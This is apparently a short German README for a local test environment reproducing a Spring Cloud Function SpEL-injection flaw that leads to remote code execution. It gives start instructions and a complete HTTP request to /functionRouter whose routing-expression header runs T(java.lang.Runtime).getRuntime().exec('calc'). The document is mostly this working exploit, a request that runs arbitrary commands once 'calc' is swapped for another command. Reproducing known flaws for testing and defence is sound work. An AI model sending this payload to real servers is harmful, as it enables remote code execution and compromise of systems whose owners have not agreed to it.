
Reproduktionsumgebung und Proof-of-Concept für Spring Cloud Function SpEL-Injection, die zu Remote Code Execution führt, mit einem ausführbaren Java-11-Demo und HTTP-Request-Beispiel.
Details finden Sie auf dem persönlichen Blog https://pizz33.github.io/
Eine Testumgebung für Spring Cloud Function SpEL-Expression-Injection
Version java11, Start mit java -jar demo-0.0.1-SNAPSHOT.jar
Nach dem Aufbau Zugriff auf Port 127.0.0.1:8080

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
